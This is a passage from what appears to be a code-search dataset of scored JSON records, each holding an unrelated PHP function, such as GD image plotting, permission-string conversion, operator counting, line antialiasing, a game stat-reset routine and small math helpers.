$xab='';\nfor($i=0;$i<$n;$i++){$nb=$i*$b;\n\t//mise à l'échelle\n\t//echo $r['imoo'][$i].'-';\n\t$xa=round($r['imoo'][$i]*$ratiox)+$mx;\n\t$xb=round($r['woam'][$i]*$ratiox)+$mx;\n\t$ya=round($i*$ratioy);\n\t$yb=round($i*$ratioy);\n\t$stock[$i]=[$xa,$ya,$xb,$yb];\n\t//echo $xa.'-';\n\timagefilledellipse($im,$xa,$h-$ya,2,2,$red);//imoo\n\t//imagestring($im,1,$xa-2,$h-$ya+2,$i,$black);//nb\n\timagefilledellipse($im,$xb,$h-$yb,2,2,$black);//woam\n\t//imagestring($im,1,$xb,$h-$yb+4,round($r['imoo'][$i]),$black);\n\t//x=nb\n\timagestring($im,1,$xb,$h-$yb+4,round($r['woam'][$i]),$black);\n\t\timageline($im,$mx-6,$h-$ya,$mx,$h-$ya,$black);\n\tif(substr($i,-1)=='0' or substr($i,-1)=='5')\n\t\timagestring($im,2,7,$h-$ya-7,$nb,$black);\n\t//y=al\n\tif(substr($xa,0,-1)!=substr($xab,0,1)){\n\t\timageline($im,$xa,$h,$xa,$h+6,$black);\n\t\t//imagestring($im,2,$xa,$h+12,round($r['imoo'][$i]),$black);\n\t\timagestring($im,2,$xa,$h+12,round($r['imoo'][$i]),$red);}\n\t$xab=$xa;}\n//p($stock);\nimageline($im,$mx,0,$mx,$h,$black);//x\nimagestring($im,$font,$mx-22,2,'nb',$black);\nimageline($im,$mx,$h-1,$w+$mx,$h-1,$black);//y\nimagestring($im,$font,$w-24,$h+4,'al',$black);\n//imagefilledellipse($im,$ctr,$ctr,10,10,$white);\n//imageellipse($im,$ctr,$ctr,10,10,$black);\nimagepng($im,$out);\nreturn image('/'.$out.'?'.randid());}", "title": "" }, { "docid": "1340dd460e719d2334d803b40cb53852", "score": "0.44579595", "text": "function perm_value( $perm )\n{\n $result = 0;\n\n for ( $i = 1; $i <= 9; $i++ )\n {\n $char = substr( $perm, $i, 1 ); \n\n switch ( $i )\n {\n case 1:\n case 2:\n case 3:\n $mult = 100;\n break;\n case 4:\n case 5:\n case 6:\n $mult = 10;\n break;\n case 7:\n case 8:\n case 9:\n $mult = 1;\n break;\n }\n\n switch ( $char )\n {\n case \"r\":\n $result = $result + ( $mult * 4 );\n break;\n case \"w\":\n $result = $result + ( $mult * 2 );\n break;\n case \"x\":\n case \"t\":\n case \"T\":\n case \"s\":\n case \"S\":\n $result = $result + ( $mult * 1 );\n break;\n }\n }\n return ( $result );\n}", "title": "" }, { "docid": "f18c0cd04974573b14e5b3e1a6478947", "score": "0.44501936", "text": "function printMasked(& $hangman) {\r\n\r\n for($i=0; $i<count($hangman); $i++) {\r\n \r\n if($hangman[$i][1])\r\n {\r\n echo strtoupper($hangman[$i][0]);\r\n }\r\n else \r\n {\r\n echo \"*\";\r\n }\r\n }\r\n echo \"\\n\";\r\n \r\n}", "title": "" }, { "docid": "c871d6aea436137cc40a1dc672827c8e", "score": "0.44345784", "text": "function num_operators($valx)\n{\n // += -= *= /= %= == != >= <= || && :: ^= \n // ++ -- >> << |= &=\n // -> >>> <<<\n // >>= <<=\n\n preg_match_all('/\\bimport/', $valx, $temp);\n $val = preg_replace('/\\\"(.*?)\\\"/', '', $valx);\n $Nop = 0;\n if (count($temp[0]) <= 0) {\n preg_match_all(\"/[^\\+]\\+[^\\+\\=]/\", $val, $operatorArr); // +\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\+\\=/\", $val, $operatorArr); // +=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\+\\+/\", $val, $operatorArr); // ++\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\-]\\-[^\\-\\=\\>]/\", $val, $operatorArr); // -\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\-\\=/\", $val, $operatorArr); // -=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\-\\-/\", $val, $operatorArr); // --\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\-\\>/\", $val, $operatorArr); // ->\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\*[^\\=]/\", $val, $operatorArr); // *\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\*\\=/\", $val, $operatorArr); // *=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\/[^\\=]/\", $val, $operatorArr); // /\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\/\\=/\", $val, $operatorArr); // /=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\%[^\\=]/\", $val, $operatorArr); // %\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\%\\=/\", $val, $operatorArr); // %=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\=\\+\\-\\*\\/\\%\\!\\>\\<\\^\\|\\&]\\=[^\\=]/\", $val, $operatorArr); // =\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\=\\=/\", $val, $operatorArr); // ==\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\![^\\=]/\", $val, $operatorArr); // !\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\!\\=/\", $val, $operatorArr); // !=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\b(?<!list|arraylist|map|hashmap|hashtable|linkedhashmap|treemap)\\s*[^\\-\\>]\\>[^\\=\\>]/\", $val, $operatorArr); // >\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\>]\\>\\=/\", $val, $operatorArr); // >=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\>]\\>\\>[^\\>\\=]/\", $val, $operatorArr); // >>\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\>\\>\\>[^=]/\", $val, $operatorArr); // >>>\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\>]\\>\\>\\=/\", $val, $operatorArr); // >>=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\b(?<!list|arraylist|map|hashmap|hashtable|linkedhashmap|treemap)\\s*[^-<]\\<[^=<]\\s*/\", $val, $operatorArr); // <\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\<]\\<\\=/\", $val, $operatorArr); // <=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\<]\\<\\<[^\\<\\=]/\", $val, $operatorArr); // <<\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\<\\<\\<[^=]/\", $val, $operatorArr); // <<<\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\<]\\<\\<\\=/\", $val, $operatorArr); // <<=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[^\\|]\\|[^\\|\\=]/\", $val, $operatorArr); // |\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\|\\|/\", $val, $operatorArr); // ||\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\|\\=/\", $val, $operatorArr); // |=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\&\\&/\", $val, $operatorArr); // &&\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\&\\=/\", $val, $operatorArr); // &=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\:\\:/\", $val, $operatorArr); // ::\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\^[^=]/\", $val, $operatorArr); // ^\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\^\\=/\", $val, $operatorArr); // ^=\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/[\\w]*?\\.[\\w]*?/\", $val, $operatorArr); // .\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\,/\", $val, $operatorArr); // ,\n $Nop += count($operatorArr[0]);\n preg_match_all(\"/\\~/\", $val, $operatorArr); // ~\n $Nop += count($operatorArr[0]);\n }\n\n\n\n return $Nop;\n}", "title": "" }, { "docid": "635c7fdccc33f1f52e51d7b0f8c5694a", "score": "0.44345543", "text": "function WuLine($x1,$y1,$x2,$y2) {\n\t// Get foreground line color\n\t$lc = imagecolorsforindex($this->img,$this->current_color);\n\t$lc = array($lc[\"red\"],$lc[\"green\"],$lc[\"blue\"]);\n\n\t$dx = $x2-$x1;\n\t$dy = $y2-$y1;\n\t\n\tif( abs($dx) > abs($dy) ) {\n\t if( $dx<0 ) {\n\t\t$dx = -$dx;$dy = -$dy;\n\t\t$tmp=$x2;$x2=$x1;$x1=$tmp;\n\t\t$tmp=$y2;$y2=$y1;$y1=$tmp;\n\t }\n\t $x=$x1<<16; $y=$y1<<16;\n\t $yinc = ($dy*65535)/$dx;\n\t while( ($x >> 16) < $x2 ) {\n\t\t\t\t\n\t\t$bc = @imagecolorsforindex($this->img,imagecolorat($this->img,$x>>16,$y>>16));\n\t\tif( $bc <= 0 ) {\n\t\t JpGraphError::RaiseL(25100);//('Problem with color palette and your GD setup. Please disable anti-aliasing or use GD2 with true-color. If you have GD2 library installed please make sure that you have set the USE_GD2 constant to true and that truecolor is enabled.');\n\t\t}\n\t\t$bc=array($bc[\"red\"],$bc[\"green\"],$bc[\"blue\"]);\n\t\t\t\t\n\t\t$this->SetColor($this->lip($lc,$bc,($y & 0xFFFF)/65535));\n\t\timagesetpixel($this->img,$x>>16,$y>>16,$this->current_color);\n\t\t$this->SetColor($this->lip($lc,$bc,(~$y & 0xFFFF)/65535));\n\t\timagesetpixel($this->img,$x>>16,($y>>16)+1,$this->current_color);\n\t\t$x += 65536; $y += $yinc;\n\t }\n\t}\n\telse {\n\t if( $dy<0 ) {\n\t\t$dx = -$dx;$dy = -$dy;\n\t\t$tmp=$x2;$x2=$x1;$x1=$tmp;\n\t\t$tmp=$y2;$y2=$y1;$y1=$tmp;\n\t }\n\t $x=$x1<<16; $y=$y1<<16;\n\t $xinc = ($dx*65535)/$dy;\t\n\t while( ($y >> 16) < $y2 ) {\n\t\t\t\t\n\t\t$bc = @imagecolorsforindex($this->img,imagecolorat($this->img,$x>>16,$y>>16));\n\t\tif( $bc <= 0 ) {\n\t\t JpGraphError::RaiseL(25100);//('Problem with color palette and your GD setup. Please disable anti-aliasing or use GD2 with true-color. If you have GD2 library installed please make sure that you have set the USE_GD2 constant to true and truecolor is enabled.');\n\n\t\t}\n\n\t\t$bc=array($bc[\"red\"],$bc[\"green\"],$bc[\"blue\"]);\t\t\t\t\n\t\t\t\t\n\t\t$this->SetColor($this->lip($lc,$bc,($x & 0xFFFF)/65535));\n\t\timagesetpixel($this->img,$x>>16,$y>>16,$this->current_color);\n\t\t$this->SetColor($this->lip($lc,$bc,(~$x & 0xFFFF)/65535));\n\t\timagesetpixel($this->img,($x>>16)+1,$y>>16,$this->current_color);\n\t\t$y += 65536; $x += $xinc;\n\t }\n\t}\n\t$this->SetColor($lc);\n\timagesetpixel($this->img,$x2,$y2,$this->current_color);\t\t\n\timagesetpixel($this->img,$x1,$y1,$this->current_color);\t\t\t\n }", "title": "" }, { "docid": "7e8d97312b99a6f7db76e44f253cc51a", "score": "0.44338563", "text": "function remainder($bytes) {\n $bytes = bcmod($bytes, GIGAWORDS_RIGHT_OPERAND);\n\n if (is_null($bytes)) {\n $bytes = 0;\n }\n\n\n return $bytes;\n\n}", "title": "" }, { "docid": "a1a5334c9b34d25e899b98987412376c", "score": "0.44331622", "text": "function appliqueTva($prixHt)\n{\n return $prixHt * 1.2;\n}", "title": "" }, { "docid": "ec6caebf761dacd97fc1410deaa4f718", "score": "0.44301853", "text": "function save6($p,$i,$n,&$fv){\n\t\t$fv=$p*pow((1+$i),$n);\n\t}", "title": "" }, { "docid": "4f6a7598d41f15a0d3385e5b02bd60da", "score": "0.44295648", "text": "function Suma($Num1,$Num2){\n return $Num1+$Num2;\n }", "title": "" }, { "docid": "a163e17bd5b9fe6e8d4bf9620dd399ac", "score": "0.44275633", "text": "function h($k, $x, $a)\n{\n\t$c = $x;\n\t$b = $k;\n\t$a=$a-$b; $a=$a-$c; $a=$a^($c >> 13);\n\t$b=$b-$c; $b=$b-$a; $b=$b^($a << 8); \n\t$c=$c-$a; $c=$c-$b; $c=$c^($b >> 13);\n\t$a=$a-$b; $a=$a-$c; $a=$a^($c >> 12);\n\t$b=$b-$c; $b=$b-$a; $b=$b^($a << 16);\n\t$c=$c-$a; $c=$c-$b; $c=$c^($b >> 5);\n\t$a=$a-$b; $a=$a-$c; $a=$a^($c >> 3);\n\t$b=$b-$c; $b=$b-$a; $b=$b^($a << 10);\n\t$c=$c-$a; $c=$c-$b; $c=$c^($b >> 15);\n\treturn $c;\n}", "title": "" }, { "docid": "73672bf9973754bddb49a777ece6a826", "score": "0.4424481", "text": "function direction($u, $v, $good)\n{\n$stringNum = array(\n \"N\" => 0,\n \"NNE\" => 2,\n \"NE\" => 4,\n \"ENE\" => 6,\n \"E\" => 8,\n \"ESE\" => 10,\n \"SE\" => 12,\n \"SSE\" => 14,\n \"S\" => 16,\n \"SSO\" => 18,\n \"SO\" => 20,\n \"OSO\" => 22,\n \"O\" => 24,\n \"ONO\" => 26,\n \"NO\" => 28,\n \"NNO\" => 30\n);\n$dirString = array(\n 0 => \"N\",\n 1 => \"NNE\",\n 2 => \"NNE\",\n 3 => \"NE\",\n 4 => \"NE\",\n 5 => \"ENE\",\n 6 => \"ENE\",\n 7 => \"E\",\n 8 => \"E\",\n 9 => \"ESE\",\n 10 => \"ESE\",\n 11 => \"SE\",\n 12 => \"SE\",\n 13 => \"SSE\",\n 14 => \"SSE\",\n 15 => \"S\",\n 16 => \"S\",\n 17 => \"SSO\",\n 18 => \"SSO\",\n 19 => \"SO\",\n 20 => \"SO\",\n 21 => \"OSO\",\n 22 => \"OSO\",\n 23 => \"O\",\n 24 => \"O\",\n 25 => \"ONO\",\n 26 => \"ONO\",\n 27 => \"NO\",\n 28 => \"NO\",\n 29 => \"NNO\",\n 30 => \"NNO\",\n 31 => \"N\",\n 32 => \"N\"\n);\n $dir = (atan2($u, $v)/pi() + 1)*180;\n $dirSecteur = round($dir/11.25);\n $goods = str_getcsv($good);\n //var_dump($goods);\n $col = \"white\";\n foreach ($goods as $good)\n {\n //echo $good . '?';\n if ($good!='')\n {\n $num = $stringNum[$good];\n // echo 'ref='.$num.' et wind='.$dirSecteur . '! ';\n //je n'arrive pas Ó bien formuler l'intervalle sur mes numÚros de secteur\n if ((($num+3)>=$dirSecteur)and(($num-3)<=$dirSecteur)) $col=\"lightgreen\";\n if ($num==0)\n {\n if (($dirSecteur==31)or($dirSecteur==30)or($dirSecteur==29)) $col=\"lightgreen\";\n }\n if ($num==1)\n {\n if ($dirSecteur==31) $col=\"lightgreen\";\n }\n }\n }\n print \"<td bgcolor='\". $col . \"'>\" . $dirString[$dirSecteur] . \"</td>\";\n}", "title": "" }, { "docid": "ad1e2ea6df90e93f3d1dba5cd580542b", "score": "0.44238195", "text": "function further_process()\n\t{\n\t\t\n\t\tfor ($yy =0; $yy < 100; $yy = $yy + 25)\n\t\t{\n\t\t\tfor ($xx = 0; $xx < 100;$xx = $xx + 25)\n\t\t\t{\t\t\n\t\t\t\t$pixels = array();\n\t\t\t\t\n\t\t\t\tfor ($x=$xx; $x < ($xx +25); $x++)\n\t\t\t\t{\n\t\t\t\t\tfor ($y=$yy; $y < ($yy +25); $y++)\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($pixels, (int)$this->pixels_processed_grey[$x][$y]);\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$modal = $this->array_mode($pixels);\n\t\t\t\tarray_push($this->pixels_list_grey, $modal);\n\t\t\t//\techo $modal.\"<br />\";\n\t\t\t}\n\t\t}\n\t\n\t}", "title": "" }, { "docid": "a59b425ee0ae341cf193731f3d9de3eb", "score": "0.442169", "text": "public function getWidthOfProduct(): int;", "title": "" }, { "docid": "bcb9f237dd200f852369004874e8f8c8", "score": "0.44184723", "text": "function _fillWidth()\n {\n return $this->_fillRight() - $this->_fillLeft() + 1;\n }", "title": "" }, { "docid": "3fb0503d56e16b95658805c1f5357619", "score": "0.44149357", "text": "function poz(){\n\treturn \"left:\".$this->left.\";top:\".$this->top;\n}", "title": "" }, { "docid": "6bd2d01fd4f9b6a7806861b7fe074676", "score": "0.44119257", "text": "public function numberOfLpas();", "title": "" }, { "docid": "a4b667fc235e79890d5a782a1cbc599a", "score": "0.440625", "text": "protected function registro_C791(){\n\n\t}", "title": "" }, { "docid": "d3351a9c26d424188d8874f4b2b69e89", "score": "0.43966526", "text": "function mathphppre($st) {\n if (strpos($st,\"^-1\") || strpos($st,\"^(-1)\")) {\n\t\t$st = str_replace(array(\"sin^-1\",\"cos^-1\",\"tan^-1\",\"sin^(-1)\",\"cos^(-1)\",\"tan^(-1)\"),array(\"arcsin\",\"arccos\",\"arctan\",\"arcsin\",\"arccos\",\"arctan\"),$st);\n\t\t$st = str_replace(array(\"sinh^-1\",\"cosh^-1\",\"tanh^-1\",\"sinh^(-1)\",\"cosh^(-1)\",\"tanh^(-1)\"),array(\"arcsinh\",\"arccosh\",\"arctanh\",\"arcsinh\",\"arccosh\",\"arctanh\"),$st);\n }\n $st = preg_replace('/log_([\\d\\.]+)\\(/','nthlog($1,',$st);\n $st = preg_replace('/(sin|cos|tan|sec|csc|cot)\\^(\\d+)\\(/','$1n($2,', $st);\n \n return $st;\n}", "title": "" }, { "docid": "3c04668a23f76fcc7eb2ecc49d077ad1", "score": "0.43922976", "text": "function calcTransitExitPoint() {\n\n\t}", "title": "" }, { "docid": "a83c61bb887129e0677961765b760e39", "score": "0.43910003", "text": "function math_eval($query)\n{\n $parts = explode(\"\\n\", $query);\n\n}", "title": "" }, { "docid": "6f51930534f49cabccdd566c8796405d", "score": "0.4389077", "text": "function ps_stroke ($psdoc) {}", "title": "" }, { "docid": "3d5cd42201fcbdef650e3cc5ee9a108f", "score": "0.43871143", "text": "function rastojanje_2tacke($x1,$y1,$x2,$y2) {\r\n $data = sqrt(pow(($x1-$x2),2)+pow(($y1-$y2),2));\r\n return $data;\r\n}", "title": "" }, { "docid": "c469b0316b784ce3664c8f6a5670a6c5", "score": "0.43826902", "text": "function Norm_p($z) {\n\t $z = abs($z);\n\t $a1 = 0.0000053830;\n\t\t$a2 = 0.0000488906; \n\t\t$a3 = 0.0000380036;\n\t $a4 = 0.0032776263; \n\t\t$a5 = 0.0211410061;\n\t\t$a6 = 0.0498673470;\n\t $p = ((((($a1*$z+$a2)*$z+$a3)*$z+$a4)*$z+$a5)*$z+$a6)*z+1;\n\t $p = $pow($p, -16);\n\t return $p;\n\t}", "title": "" }, { "docid": "438d29a2cbc43f5fa7fe6e3e7ca5b0cc", "score": "0.43817535", "text": "function AreaAdvanced($L, $Axe, $Width = 3, $Depth = 2){\n $Depth = $Depth - 1;\n $Width = $Width / 2 - 0.5;\n $Z = 0;\n if(round($Width) != $Width){\n $Width = floor($Width);\n $Z = 1;\n }\n if($Axe == 'E'){ # Face to east (top right side)\n $L1[0] = $L[0] - $Width;\n $L1[1] = $L[1];\n $L2[0] = $L[0] + $Width + $Z;\n $L2[1] = $L[1] + $Depth;\n }\n else if($Axe == 'N'){ # Face to north (top left side)\n \t$L1[0] = $L[0] - $Depth;\n \t$L1[1] = $L[1] - $Width - $Z;\n \t$L2[0] = $L[0];\n \t$L2[1] = $L[1] + $Width;\n }\n else if($Axe == 'W'){ # Face to west (bottom left side)\n \t$L1[0] = $L[0] - $Width;\n \t$L1[1] = $L[1] - $Depth;\n \t$L2[0] = $L[0] + $Width + $Z;\n \t$L2[1] = $L[1];\n }\n else if($Axe == 'S'){ # Face to south (bottom right side)\n \t$L1[0] = $L[0] + $Depth;\n \t$L1[1] = $L[1] - $Width - $Z;\n \t$L2[0] = $L[0];\n \t$L2[1] = $L[1] + $Width;\n }\n return array($L1,$L2);\n}", "title": "" }, { "docid": "f479730ab457eafb81b76b8742611f56", "score": "0.43800157", "text": "function save4($p,$i,$n){\n\t\t\tif ($n==0) return $p;\n\t\t\treturn save4($p,$i,$n-1)*(1+$i);\n\t}", "title": "" }, { "docid": "75504d46b62039e6afa213bf1f4c7e3a", "score": "0.43770754", "text": "function explainExpectedInt($input,$message,$maxSize)\r\n{\r\n\t$input=$input.\"\";\r\n\t$message=$message.\"\";\r\n\t$maxSize=$maxSize+0;\r\n\r\n\t$inArray=\r\n\tarray\r\n\t(\"+\",\"-\",\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\");\t\r\n\t$explained=\r\n\texplainExpectedChars($input,$maxSize,$inArray);\r\n\tif(strlen($explained)>0)\r\n\t{\r\n\t\t$result=$message.\r\n\t\t$explained;\r\n\t\treturn $result;\t\t\r\n\t}\r\n\r\n\t$positiveSignLocations=\r\n\tfindInString($input,\"+\");\r\n\r\n\t$negativeSignLocations=\r\n\tfindInString($input,\"-\");\r\n\r\n\t$numberOfPositive=count($positiveSignLocations);\r\n\t$numberOfNegative=count($negativeSignLocations);\r\n\r\n\t\r\n\r\n\t\r\n\r\n\r\n\tif($numberOfPositive>1)\r\n\t{\r\n\t\t$result=$message.\r\n\t\t\"There is more than a positive sign.\";\r\n\t\treturn $result;\t\r\n\t}\r\n\r\n\r\n\tif($numberOfNegative>1)\r\n\t{\r\n\t\t$result=$message.\r\n\t\t\"There is more than a negative sign.\";\r\n\t\treturn $result;\t\r\n\t}\r\n\r\n\r\n\r\n\r\n\r\n\tif(isset($positiveSignLocations[0]))\r\n\t\t{$posLoc=$positiveSignLocations[0];}\r\n\telse{$posLoc=0;}\r\n\r\n\tif(isset($negativeSignLocations[0]))\r\n\t\t{$negLoc=$negativeSignLocations[0];}\r\n\telse{$negLoc=0;}\r\n\r\n\tif($posLoc!==0)\r\n\t{$result=$message.\r\n\t\t\"The positive sign should be at the beginning of the number.\";\r\n\t\treturn $result;\t\r\n\t}\r\n\r\n\tif($negLoc!==0)\r\n\t{$result=$message.\r\n\t\t\"The negative sign should be at the beginning of the number.\";\r\n\t\treturn $result;\t\r\n\t}\r\n\r\n\r\n\treturn \"\";\r\n}", "title": "" }, { "docid": "6edf3f8332fe3d7bec1334b51ed79dee", "score": "0.43750864", "text": "function squaredChord(array $a, array $b): float\n{\n return 1 - Distance\\squaredChord($a, $b);\n}", "title": "" }, { "docid": "cb7263d5440329af7d1129a1664f321e", "score": "0.4374788", "text": "public function RedistributePoints()\r\n\t{\r\n\t\t$char_data = $this->MuLib('Member')->LoadChar($this->character, \"Class,LevelUpPoint,Strength,Dexterity,Vitality,Energy,\".COLUMN_COMMAND);\r\n\t\t$default = $this->functions->CharInitialPoints($char_data['Class']);\r\n\t\t\r\n\t\t$points = $char_data['LevelUpPoint'];\r\n\t\t$strength = $char_data['Strength'];\r\n\t\t$dexterity = $char_data['Dexterity'];\r\n\t\t$vitality = $char_data['Vitality'];\r\n\t\t$energy = $char_data['Energy'];\r\n\t\t$command = $char_data[COLUMN_COMMAND];\r\n\t\t\r\n\t\t$strength -= $default[0];\r\n\t\t$dexterity -= $default[1];\r\n\t\t$vitality -= $default[2];\r\n\t\t$energy -= $default[3];\r\n\t\t$command -= $default[4];\r\n\t\t\r\n\t\t$points += $strength;\r\n\t\t$points += $dexterity;\r\n\t\t$points += $vitality;\r\n\t\t$points += $energy;\r\n\t\t$points += $command;\r\n\t\t\r\n\t\tif(!$this->functions->ClassIsLord($char_data['Class']))\r\n\t\t\t$points -= $command;\r\n\t\t\r\n\t\tif($_GET['write'] == true)\r\n\t\t{\r\n\t\t\t$check = 0;\r\n\t\t\t\r\n\t\t\tif($char_data['Strength'] < $this->settings['USERPANEL']['CHARACTER']['REDISTRIBUTE_POINTS']['MIN_REQUIRE']) $check++;\r\n\t\t\tif($char_data['Dexterity'] < $this->settings['USERPANEL']['CHARACTER']['REDISTRIBUTE_POINTS']['MIN_REQUIRE']) $check++;\r\n\t\t\tif($char_data['Vitality'] < $this->settings['USERPANEL']['CHARACTER']['REDISTRIBUTE_POINTS']['MIN_REQUIRE']) $check++;\r\n\t\t\tif($char_data['Energy'] < $this->settings['USERPANEL']['CHARACTER']['REDISTRIBUTE_POINTS']['MIN_REQUIRE']) $check++;\r\n\t\t\t\r\n\t\t\tif($this->functions->ClassIsLord($char_data['Class']))\r\n\t\t\t\tif($char_data[COLUMN_COMMAND] < $this->settings['USERPANEL']['CHARACTER']['REDISTRIBUTE_POINTS']['MIN_REQUIRE']) $check++;\r\n\t\t\t\t\r\n\t\t\tif($check > 0)\r\n\t\t\t{\r\n\t\t\t\t$_points = number_format($this->settings['USERPANEL']['CHARACTER']['REDISTRIBUTE_POINTS']['MIN_REQUIRE'], 0, false, \".\");\r\n\t\t\t\tsetResult(showMessage(sprintf($this->lang->words['UserPanel']['RedistributePoints']['Messages']['MinRequire'], $_points), 2));\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$columns_update = array\r\n\t\t\t\t(\r\n\t\t\t\t\t\"LevelUpPoint\" => $points,\r\n\t\t\t\t\t\"Strength\" => $default[0],\r\n\t\t\t\t\t\"Dexterity\" => $default[1],\r\n\t\t\t\t\t\"Vitality\" => $default[2],\r\n\t\t\t\t\t\"Energy\" => $default[3]\r\n\t\t\t\t);\r\n\t\t\t\t\r\n\t\t\t\tif($this->functions->ClassIsLord($char_data['Class']))\r\n\t\t\t\t\t$columns_update[COLUMN_COMMAND] = $default[4];\r\n\t\t\t\t\t\r\n\t\t\t\t$this->DB->Arguments($this->character, USER_ACCOUNT);\r\n\t\t\t\t$this->DB->Update(MUGEN_CORE.\"@Character\", $columns_update, \"Name = '%s' AND AccountID = '%s'\");\r\n\t\t\t\t\r\n\t\t\t\t$this->WriteLog(array\r\n\t\t\t\t(\r\n\t\t\t\t\t\"option\" => \"Redistribute Points\",\r\n\t\t\t\t\t\"character\" => true,\r\n\t\t\t\t\t\"data\" => array\r\n\t\t\t\t\t(\r\n\t\t\t\t\t\t\"[Before] Points: \".number_format($char_data['LevelUpPoint'], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[Before] Strength: \".number_format($char_data['Strength'], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[Before] Dexterity: \".number_format($char_data['Dexterity'], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[Before] Vitality: \".number_format($char_data['Vitality'], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[Before] Energy: \".number_format($char_data['Energy'], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[Before] Command: \".number_format($this->functions->ClassIsLord($char_data['Class']) ? $char_data[COLUMN_COMMAND] : 0, 0, false, \".\"),\r\n\t\t\t\t\t\t\"[After] Points: \".number_format($points, 0, false, \".\"),\r\n\t\t\t\t\t\t\"[After] Strength: \".number_format($default[0], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[After] Dexterity: \".number_format($default[1], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[After] Vitality: \".number_format($default[2], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[After] Energy: \".number_format($default[3], 0, false, \".\"),\r\n\t\t\t\t\t\t\"[After] Command: \".number_format($this->functions->ClassIsLord($char_data['Class']) ? $default[4] : 0, 0, false, \".\")\r\n\t\t\t\t\t),\r\n\t\t\t\t));\r\n\t\t\t\r\n\t\t\t\tsetResult(showMessage(sprintf($this->lang->words['UserPanel']['RedistributePoints']['Messages']['Success'], $points), 3));\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['before_points']['points'] = number_format($char_data['LevelUpPoint'], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['before_points']['strength'] = number_format($char_data['Strength'], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['before_points']['dexterity'] = number_format($char_data['Dexterity'], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['before_points']['vitality'] = number_format($char_data['Vitality'], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['before_points']['energy'] = number_format($char_data['Energy'], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['before_points']['command'] = number_format($char_data[COLUMN_COMMAND], 0, false, \".\");\r\n\t\t\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['after_points']['points'] = number_format($points, 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['after_points']['strength'] = number_format($default[0], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['after_points']['dexterity'] = number_format($default[1], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['after_points']['vitality'] = number_format($default[2], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['after_points']['energy'] = number_format($default[3], 0, false, \".\");\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['after_points']['command'] = number_format($default[4], 0, false, \".\");\r\n\t\t\r\n\t\t$GLOBALS['userpanel']['redistribute_points']['class_is_lord'] = $this->functions->ClassIsLord($char_data['Class']);\r\n\t}", "title": "" }, { "docid": "25f33a1ecec728d6476fb3fe78d6922d", "score": "0.43727452", "text": "protected function giveCost()\n {\n return 512.00;\n }", "title": "" }, { "docid": "4d891ec01de8f2380ad29ddb8d1b73d8", "score": "0.43715718", "text": "function A($i, $j){\n return 1.0 / ( ( ( ($i+$j) * ($i+$j+1) ) >> 1 ) + $i + 1 );\n}", "title": "" }, { "docid": "49632dcda609d88b02a0c0aa28dddf6e", "score": "0.43678588", "text": "public function giaiphuongtrinhbachai($a){\n $A=$a[2];\n $B=$a[1];\n $C=$a[0];\n $delta= $B*$B - 4 * $A * $C;\n $nghiem=[];\n if($delta>0){\n $x1=(-1* $B - sqrt($delta) )/(2*$A);\n $x2=(-1* $B + sqrt($delta) )/(2*$A);\n array_push($nghiem, $x1);\n array_push($nghiem, $x2);\n }else 